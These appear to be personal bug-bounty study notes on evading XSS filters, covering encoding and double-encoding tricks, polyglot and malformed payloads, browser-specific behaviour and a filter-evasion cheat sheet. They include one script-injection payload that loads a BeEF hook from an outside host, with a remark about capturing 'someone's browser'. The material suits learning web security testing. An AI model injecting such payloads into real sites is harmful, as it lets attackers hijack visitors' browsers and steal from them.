Keep trying new attack vectors if the previous doesn’t work -> look for anything interesting that happens and record it so you can base your subsequent attacks off it.

Record blocked special chars or words, things that get rendered different than usual, encodings that get decoded etc…..

Try different types of encodings such as HTML, URL

* Also try double encodings
* Look up encodings for the context your working with

Look for what is being encoded and find payloads that don’t use encoded characters, or try encoding double encoding or something but if you notice certain things not being encoded by the web-page like a single quote or souble quote find payloads that only use them.

XSS Filter Evasion Cheat Sheet

-also has a lot of info on escape sequences, Event Handlers, and a ton of info on each payload.

<SCRIPT SRC=https://beef/hook.jsSCRIPT>

^^ this is the main xss payload w no filter evasion. Our goal is to prove impact, meaning we need to exploit something. Swap out that link with the link to a public BeEF hook and collect your bounty or someone’s browser …

Check it out -> bookmarked in **cheat sheets** folder

This is an amazing resource filled with some great payloads for bypassing filters.

* The “polygot” payload is also cool while it isn’t really made for bypassing filters it will be able to execute in multiple **contexts** making it a good one to try out.
* Has some cool “malformed” payloads which can be good at bypassing filters.
  + Essentially these malformed payloads can get passed many different types of filters because they are not formed correctly yet the browser automatically tries to fix the malformed code/ tag making it execute. Very cool sneaky payload style.
  + Again, try to choose one that fits in your specific context

Remember XSS is very often browser specific especially things like the malformed payloads where a browser is automatically correcting the malformed code. Use the user agent swapper extension to simulate a different browser and try payloads in a couple different browsers.

So much more on the cheat sheet, that wasn’t covered try out all of them or gather them up and throw them in a .txt document!!